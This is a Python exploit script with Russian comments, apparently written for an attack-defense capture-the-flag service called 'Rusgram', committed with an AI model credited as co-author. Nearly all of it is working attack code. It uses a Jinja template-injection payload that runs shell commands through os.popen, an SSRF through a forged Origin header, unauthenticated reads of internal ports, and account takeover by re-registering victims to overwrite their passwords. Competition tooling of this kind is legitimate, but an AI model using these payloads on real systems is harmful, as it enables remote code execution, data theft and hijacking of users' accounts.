Комбинированный сплойт: V1 SSTI->RCE через имя юзера *.html, V3 SSRF через Origin, V4 прямой database :38002, V5 прямой content :38004, V2 захват аккаунта перерегистрацией. Векторы независимы — патч одного не глушит остальные. Энумерация жертв: комментарии к картинкам + `ls` через RCE. V1 использует свежее имя юзера на каждый раунд: Flask вне debug не перечитывает шаблоны, и после первого рендера Jinja отдаёт закэшированную версию. Проверено на стенде: собирает все посаженные флаги. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
228 lines
9.2 KiB
Python
Executable File
228 lines
9.2 KiB
Python
Executable File
#!/bin/python3
|
|
"""
|
|
Rusgram — комбинированный сплойт (все 4 вектора).
|
|
|
|
Порядок: V1 (RCE) → V3 (SSRF) → V4 (прямой database) → V5 (прямой content) → V2 (ATO).
|
|
Векторы независимы: если противник запатчил один, остальные продолжают работать.
|
|
|
|
Запуск: ./start_sploit.py rusgram_sploit.py
|
|
"""
|
|
import sys
|
|
import re
|
|
import random
|
|
import string
|
|
import requests
|
|
|
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
|
TIMEOUT = 6
|
|
|
|
PROXY_PORT = 38000
|
|
STATIC_PORT = 38001
|
|
DB_PORT = 38002
|
|
LOGIC_PORT = 38003
|
|
CONTENT_PORT = 38004
|
|
|
|
|
|
def rnd(n=8):
|
|
return "".join(random.choices(string.ascii_lowercase, k=n))
|
|
|
|
|
|
def log(msg):
|
|
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# V1: SSTI -> RCE. Имя юзера, оканчивающееся на .html, рендерится content'ом
|
|
# как Jinja-шаблон. Payload кладём ДО первого рендера (Jinja кэширует шаблоны).
|
|
# --------------------------------------------------------------------------
|
|
def v1_rce(ip, flags):
|
|
base = f"http://{ip}:{PROXY_PORT}"
|
|
user, pwd = f"{rnd()}.html", rnd()
|
|
try:
|
|
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
|
|
timeout=TIMEOUT)
|
|
# grep -r сам обходит каталог: имена жертв знать не нужно
|
|
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" "
|
|
"/app/files/db/').read() }}")
|
|
requests.post(f"{base}/api/update_personal",
|
|
json={"first_name": payload, "second_name": "x", "email": "x"},
|
|
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
|
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
|
found = set(FLAG_RX.findall(r.text))
|
|
flags |= found
|
|
log(f"V1 (RCE) : {len(found)} flags")
|
|
except requests.RequestException as e:
|
|
log(f"V1 failed: {e}")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# V3: SSRF. logic редиректит на Origin+'/login.html', proxy идёт по редиректу
|
|
# серверсайд. Работает даже если 38001-38004 закрыты фаерволом.
|
|
# --------------------------------------------------------------------------
|
|
def v3_ssrf_read(ip, url_no_scheme, actor):
|
|
"""Читает внутренний URL глазами proxy. Хвост /login.html уводим в query.
|
|
|
|
В куке ДОЛЖЕН быть реально существующий юзер с неверным паролем: на
|
|
несуществующем logic падает в 500 (`.json()["data"]` по 404) и до
|
|
редиректа дело не доходит. Поэтому используем свой же аккаунт.
|
|
"""
|
|
base = f"http://{ip}:{PROXY_PORT}"
|
|
try:
|
|
r = requests.post(f"{base}/api/send_msg", json={"msg": "x"},
|
|
cookies={"session": f"{actor}||WRONGPASS"},
|
|
headers={"Origin": f"{url_no_scheme}?x="}, timeout=TIMEOUT)
|
|
return r.text
|
|
except requests.RequestException:
|
|
return ""
|
|
|
|
|
|
def v3_ssrf(ip, flags, users):
|
|
base = f"http://{ip}:{PROXY_PORT}"
|
|
# свой аккаунт как «актор»: гарантированно существует -> logic отдаст 302
|
|
actor, pwd = rnd(10), rnd()
|
|
try:
|
|
requests.post(f"{base}/api/register", json={"login": actor, "password": pwd},
|
|
timeout=TIMEOUT)
|
|
except requests.RequestException:
|
|
log("V3 (SSRF) : setup failed")
|
|
return
|
|
|
|
found = set()
|
|
for u in list(users)[:60]:
|
|
for field in ("msg", "first_name", "second_name", "email"):
|
|
body = v3_ssrf_read(ip, f"http://database:5002/users/{u}/{field}", actor)
|
|
found |= set(FLAG_RX.findall(body))
|
|
flags |= found
|
|
log(f"V3 (SSRF) : {len(found)} flags")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# V4: database опубликован на 38002 вообще без аутентификации.
|
|
# --------------------------------------------------------------------------
|
|
def v4_database(ip, flags, users):
|
|
d = f"http://{ip}:{DB_PORT}"
|
|
found = set()
|
|
for u in list(users)[:100]:
|
|
for field in ("msg", "first_name", "second_name", "email"):
|
|
try:
|
|
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
|
|
found |= set(FLAG_RX.findall(r.text))
|
|
except requests.RequestException:
|
|
pass
|
|
flags |= found
|
|
log(f"V4 (database) : {len(found)} flags")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# V5: content опубликован на 38004, рендерит файл юзера без требования .html.
|
|
# --------------------------------------------------------------------------
|
|
def v5_content(ip, flags, users):
|
|
c = f"http://{ip}:{CONTENT_PORT}"
|
|
found = set()
|
|
for u in list(users)[:100]:
|
|
try:
|
|
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
|
|
found |= set(FLAG_RX.findall(r.text))
|
|
except requests.RequestException:
|
|
pass
|
|
flags |= found
|
|
log(f"V5 (content) : {len(found)} flags")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# V2: register перезаписывает пароль существующему юзеру, сохраняя его поля.
|
|
# Самый «грязный» вектор (ломает жертве логин) — поэтому идёт последним.
|
|
# --------------------------------------------------------------------------
|
|
def v2_ato(ip, flags, users):
|
|
base = f"http://{ip}:{PROXY_PORT}"
|
|
found = set()
|
|
for u in list(users)[:40]:
|
|
pwd = rnd(10)
|
|
try:
|
|
r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd},
|
|
timeout=TIMEOUT)
|
|
if r.status_code != 200:
|
|
continue
|
|
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT)
|
|
found |= set(FLAG_RX.findall(r.text))
|
|
except requests.RequestException:
|
|
pass
|
|
flags |= found
|
|
log(f"V2 (ATO) : {len(found)} flags")
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Энумерация имён пользователей — несколько независимых каналов.
|
|
# --------------------------------------------------------------------------
|
|
def enum_users(ip):
|
|
"""Имена жертв: из комментариев к картинкам и из ls через RCE."""
|
|
users = set()
|
|
|
|
# канал 1: database напрямую (38002)
|
|
for i in range(1, 17):
|
|
try:
|
|
r = requests.get(f"http://{ip}:{DB_PORT}/images/{i}", timeout=TIMEOUT)
|
|
for c in r.json()["data"]["comments"]:
|
|
users.add(c[0])
|
|
except Exception:
|
|
break
|
|
|
|
# канал 2: RCE ls (работает, даже если внутренние порты закрыты)
|
|
base = f"http://{ip}:{PROXY_PORT}"
|
|
user, pwd = f"{rnd()}.html", rnd()
|
|
try:
|
|
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
|
|
timeout=TIMEOUT)
|
|
# маркеры @@ — чтобы не собрать в список имён JSON-обвязку файла
|
|
payload = ("{{ lipsum.__globals__.os.popen("
|
|
"'ls /app/files/db/users | sed \"s/^/@@/\"').read() }}")
|
|
requests.post(f"{base}/api/update_personal",
|
|
json={"first_name": payload, "second_name": "x", "email": "x"},
|
|
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
|
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
|
users |= set(re.findall(r"@@([\w.\-]+)", r.text))
|
|
except requests.RequestException:
|
|
pass
|
|
|
|
users.discard(".gitkeep")
|
|
# свои же .html-аккаунты в список жертв не берём
|
|
users = {u for u in users if u and not u.endswith(".html")}
|
|
log(f"enumerated {len(users)} users")
|
|
return users
|
|
|
|
|
|
def exploit(target_ip):
|
|
flags = set()
|
|
|
|
# V1 не требует знания имён — бьём сразу
|
|
v1_rce(target_ip, flags)
|
|
|
|
users = enum_users(target_ip)
|
|
if users:
|
|
v4_database(target_ip, flags, users)
|
|
v5_content(target_ip, flags, users)
|
|
v3_ssrf(target_ip, flags, users)
|
|
v2_ato(target_ip, flags, users)
|
|
|
|
return flags
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
|
sys.exit(1)
|
|
|
|
target_ip = sys.argv[1]
|
|
try:
|
|
found_flags = exploit(target_ip) or []
|
|
for flag in found_flags:
|
|
clean_flag = str(flag).strip()
|
|
if FLAG_RX.fullmatch(clean_flag):
|
|
print(clean_flag, flush=True)
|
|
except Exception as e:
|
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|